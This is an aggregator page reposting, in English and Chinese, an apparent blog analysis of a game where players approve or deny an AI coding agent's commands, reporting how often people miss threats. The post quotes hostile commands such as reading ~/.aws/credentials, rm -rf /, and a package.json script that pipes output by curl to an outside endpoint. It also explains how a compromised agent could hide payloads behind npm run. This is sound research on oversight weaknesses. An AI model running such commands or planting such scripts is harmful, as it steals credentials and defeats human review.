跳到主内容
@wquguru
精选85Hacker News Best(web_list)技巧与观点

4万次游戏运行揭示:人类漏掉三分之一AI代理威胁

人类在4万次游戏运行中漏掉三分之一AI代理威胁

原文
发到 X
推荐理由

做 AI Agent 安全或人机协作的同学必看,这份基于 4 万次真实决策的数据把人类审批的漏洞量化得很清楚,尤其是 npm run 盲区和权限疲劳曲线,直接拿去设计你的审批策略和告警机制。

Table of Contents

目录

A couple of months ago I published a small browser game: you play the human-in-the-loop for an AI coding agent, approving or denying its commands under time pressure. Some commands are routine (git status, npm test) and some other commands indicate your agent has been possessed and is sending your secrets to a remote server (cat ~/.aws/credentials). More on the threats associated with agents running commands and how to mitigate them can be found in the original post.

几个月前,我发布了一个小型浏览器游戏:你扮演AI编码代理的人机回环,在时间压力下批准或拒绝其命令。有些命令是常规的(git status、npm test),而其他一些命令则表明你的代理已被附身,正在将你的秘密发送到远程服务器(cat ~/.aws/credentials)。关于代理运行命令相关的威胁以及如何缓解这些威胁的更多信息,可以在原始文章中找到。

The game garnered some interest on hacker news, and after adding in statistics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 individual approve/deny decisions. Let’s see how the human-in-the-loop, our last line of defence against rogue agents, fared.

这个游戏在黑客新闻上引起了一些兴趣,在添加了统计功能(不幸的是稍晚一些)之后,我们可以仔细看看超过40,000次运行和409,000个单独的批准/拒绝决策的数据。让我们看看人机回环——我们对抗恶意代理的最后一道防线——表现如何。

The headline numbers

主要数据

  • The average player missed 1 in 3 threats (mean accuracy 66.3%)
  • 32.9% of sessions ended with a negative score: penalties from approved threats and blocked safe commands outweighed everything done right
  • 35.2% of players caught every threat, but only 20.8% managed that while blocking at most 1 in 5 of the safe commands. The rest got there partly by blocking everything (awarding the “Human Bottleneck” title)
  • 7% approved every single prompt: big fans of --dangerously-skip-permissions
  • 平均玩家漏掉了三分之一的威胁(平均准确率66.3%)
  • 32.9%的会话以负分结束:批准威胁和阻止安全命令的惩罚超过了所有正确操作。
  • 35.2%的玩家抓住了所有威胁,但只有20.8%的玩家在阻止至多五分之一安全命令的情况下做到了这一点。其余玩家部分是通过阻止一切来达到的(获得了“人类瓶颈”称号)。
  • 7%的玩家批准了每一个提示:是--dangerously-skip-permissions的忠实粉丝。

Big caveat: this was a short game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats (fortunately, so far) appear rarely. Players were under artificial time pressure, but I’d argue that’s not too different in the real world where similar pressure to ship quickly may also lead to same rushed approval habits. That said I do believe the numbers below are still useful for garnering some insights on comparing threats and the general awareness of them against one another and general issue of relying on ‘human-in-the-loop’ as a valid safeguard.

重要警告:这是一个短游戏,玩家看到的命令中约有34%是威胁。在我们的日常工作中,这些威胁(幸运的是,到目前为止)很少出现。玩家处于人为的时间压力下,但我认为这与现实世界没有太大不同,在现实世界中,类似的快速交付压力也可能导致同样匆忙的批准习惯。话虽如此,我确实相信下面的数字对于比较威胁及其相互之间的普遍认识,以及依赖“人机回环”作为有效保障的普遍问题,仍然有助于获得一些见解。

Threat categories and miss rates

威胁类别和漏报率

CategoryExamplesMiss rate
Obviously destructiverm -rf /, chmod -R 777 /11.7%
Persistent mutationcrontab injection, git config hijack23.8%
Exfiltration / code executioncurl to unknown APIs, typosquatted packages33.4%
Scope violationscat ~/.aws/credentials, cat ~/.kube/config35.0%
类别示例漏报率
明显破坏性rm -rf /, chmod -R 777 /11.7%
持久性修改crontab注入, git config劫持23.8%
数据外泄/代码执行curl到未知API, 拼写错误的包33.4%
范围违规cat ~/.aws/credentials, cat ~/.kube/config35.0%

The obviously destructive commands are caught most reliably. The commands that actually exfiltrate your credentials are missed three times as often.

明显破坏性的命令最容易被可靠地捕获。而实际外泄你凭据的命令被漏掉的频率是其三倍。

The npm run blind spot

npm run盲点

The single most-missed command in the game is npm run analyze, approved 64.7% of the time. The command by itself is typically innocent. But what npm run really does is run a script that’s defined in your project’s package.json. It could be a standard bundle analyzer, or malicious code injected by an earlier file edit. To be sure a developer would need to inspect all the modified files first, which would slow down their workflow.

游戏中最常被忽略的命令是 npm run analyze,批准率为 64.7%。该命令本身通常是无害的。但 npm run 真正做的是运行项目 package.json 中定义的脚本。它可能是标准的打包分析器,也可能是之前文件编辑注入的恶意代码。为了确保安全,开发者需要先检查所有修改过的文件,这会拖慢他们的工作流程。

The game tells you in the agent’s history log that the contents are suspicious:

游戏在代理的历史日志中告诉你内容可疑:

代码 · 4
1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4  curl -s -X POST https://api.bundle.track/report -d @-"
代码 · 4
1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4  curl -s -X POST https://api.bundle.track/report -d @-"

Two thirds of players approved it anyway, indicating the history log just above the permission prompt may not be read closely (at least not in this game setting). There are three of these in the game, and they appear in the most-missed list:

尽管如此,仍有三分之二的玩家批准了它,这表明权限提示上方的历史日志可能没有被仔细阅读(至少在这个游戏设置中是这样)。游戏中有三个这样的命令,它们出现在最常被忽略的列表中:

CommandMiss rateRank (of 37 threats)
npm run analyze64.7%1st
npm run setup48.0%4th
npm run deploy44.9%8th
命令漏报率排名(共37个威胁)
npm run analyze64.7%第1名
npm run setup48.0%第4名
npm run deploy44.9%第8名

Pooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log.

合并来看,这三个命令的漏报率为 52.5%(n=9,482),而其他所有数据外泄型攻击的漏报率为 28.4%。将有效载荷隐藏在熟悉的脚本名称后面,即使有效载荷显示在历史日志中,其成功率也大约翻倍。

Which is really a symptom of the bigger problem, well put by dns_snek in the Hacker News thread:

这实际上是更大问题的一个症状,Hacker News 线程中的 dns_snek 很好地阐述了这一点:

That’s a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers.

这是一个很好的例子,说明危险行为如何被误认为是无害的。整个批准特定命令的模式绝对荒谬。

npm run build = run an arbitrary shell command written in package.json

npm run build = 运行 package.json 中编写的任意 shell 命令

Meanwhile the agent could have done any of the following without approval:

同时,代理本可以在未经批准的情况下执行以下任何操作:

  • edited package.json to contain any arbitrary build command
  • planted malicious code in build.js (called by npm run build)
  • planted malicious code in node_modules/xyz/index.js (imported by build.js)
  • 编辑 package.json 以包含任意构建命令
  • 在 build.js 中植入恶意代码(由 npm run build 调用)
  • 在 node_modules/xyz/index.js 中植入恶意代码(由 build.js 导入)

Asking the user to validate commands, which are nearly all of the time safe, but aren’t anymore because of modified files, is not a strong safeguard. They are ambiguous without context.

要求用户验证命令,这些命令几乎总是安全的,但由于文件被修改而不再安全,这并不是一个强有力的保障。没有上下文,它们是不明确的。

Miss rates increase under pressure

压力下漏报率增加

Anthropic previously noted permission fatigue is real in claude code, with the following quote:

Anthropic 之前指出,在 Claude Code 中权限疲劳是真实存在的,引用如下:

The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision

用户看到的批准越多,对每个批准的关注就越少,随着时间的推移,他们的监督会变得不那么勤勉

And although it’s a short game where the user is warned about threats, we can see some signs of degradation towards the end of game runs:

尽管这是一个简短的游戏,用户会收到威胁警告,但我们可以在游戏运行结束时看到一些退化迹象:

The graph above shows the threat miss rate along the session, with the plays grouped together on how many commands the user completed. Users completing a lower number of commands can be due to the user taking more time to review them, or because of the game freezing for a couple of seconds after an error was made as penalty. I’ve removed all the users who simply blocked everything.

上图显示了会话过程中的威胁未命中率,其中游戏按用户完成的命令数量分组。用户完成的命令数量较少,可能是因为用户花更多时间审查命令,或者因为游戏在出错后冻结几秒钟作为惩罚。我已经移除了所有简单屏蔽所有内容的用户。

Every group improves over the first couple of commands (warming up?) and then the miss rates climb back up towards the end. Although this might also be the stress of the clock running out and the player becoming more likely to make mistakes to get some extra commands in.

每个组在前几个命令中都有所改善(热身?),然后未命中率在接近结束时回升。尽管这也可能是由于时钟即将耗尽的压力,玩家更可能犯错以争取额外命令。

The cost of vigilance: over-blocking

警惕的代价:过度屏蔽

The following commands were benign in intent, but routinely blocked:

以下命令意图良性,但经常被屏蔽:

  • npm config set registry https://npm.internal — blocked 59% of the time (setting an internal mirror)
  • rm -rf dist/ — blocked 45% of the time (clearing build output, not uncommon to perform before a new build)
  • kill $(lsof -t -i:3000) — blocked 43% of the time (freeing the port the server is listening on, potentially because of a crashed process)
  • npm config set registry https://npm.internal — 59%的时间被屏蔽(设置内部镜像)
  • rm -rf dist/ — 45%的时间被屏蔽(清除构建输出,在新构建前执行并不罕见)
  • kill $(lsof -t -i:3000) — 43%的时间被屏蔽(释放服务器监听的端口,可能是因为进程崩溃)

This is the other side of the human-in-the-loop dilemma. Users are asked to approve commands which are actually benign, and blocking them slows the agent down. Over time this noise will likely result in users dropping their guard and approving malicious commands. Features such as Anthropic’s ‘Auto Mode’ try to mitigate this by automatically trying to determine if a command is safe before asking you, but they are not fool-proof as mentioned in the previous post.

这是人在回路困境的另一面。用户被要求批准实际上良性的命令,而屏蔽它们会减慢代理的速度。随着时间的推移,这种噪音可能会导致用户放松警惕并批准恶意命令。像Anthropic的“自动模式”这样的功能试图通过在你询问之前自动判断命令是否安全来缓解这个问题,但正如上一篇文章所述,它们并非万无一失。

The contested cat and missing context

有争议的cat和缺失的上下文

cat ~/.zshrc was approved by 45.9% of players, the most divisive command in the game. The objection (raised on HN) is fair: plenty of developers keep no secrets in their shell profile, so for them it is harmless. For the many who export API keys there, it’s credential disclosure. The command’s risk depends entirely on a setup the agent can’t see. If you source a separate secrets file from your .zshrc instead, the risk of your agent getting more access is reduced. It’s sensitive enough I find that agents should be disallowed from accessing it directly.

cat ~/.zshrc被45.9%的玩家批准,是游戏中最有争议的命令。反对意见(在HN上提出)是合理的:许多开发者在他们的shell配置文件中不保存秘密,所以对他们来说这是无害的。对于许多在那里导出API密钥的人来说,这是凭证泄露。该命令的风险完全取决于代理无法看到的设置。如果你从.zshrc中引用一个单独的secrets文件,你的代理获得更多访问权限的风险就会降低。这足够敏感,我认为应该禁止代理直接访问它。

Several other prompts were similarly controversial due to missing context. I agree they’re ambiguous and the game demonstrates that this model to ask devs to make security judgements without the full picture is flawed.

其他几个提示也因缺少上下文而同样有争议。我同意它们模棱两可,游戏表明这种要求开发者在没有完整信息的情况下做出安全判断的模型是有缺陷的。

The takeaway

要点

While it’s just a game and not an academic study, I’ve enjoyed following the discussions and find the experiment does demonstrate several issues with human-in-the-loop as a security boundary for AI coding agents.

虽然这只是一个游戏而非学术研究,但我一直乐于关注相关讨论,并发现该实验确实展示了在AI编程代理的安全边界中,人类参与环节存在的几个问题。

The high amount of noise introduces fatigue resulting in developers opting for complete bypasses instead, and developers don’t always have the context of what has changed to quickly determine the risk.

大量噪音导致疲劳,使得开发者转而选择完全绕过,而且开发者并不总能掌握变更的上下文来快速判断风险。

更进一步:量化金融体系

看懂新闻只是起点——沿量化金融路径,把它变成能交付的工程能力

进入量化体系 →

相似阅读

关联信息,但可能不是同一事件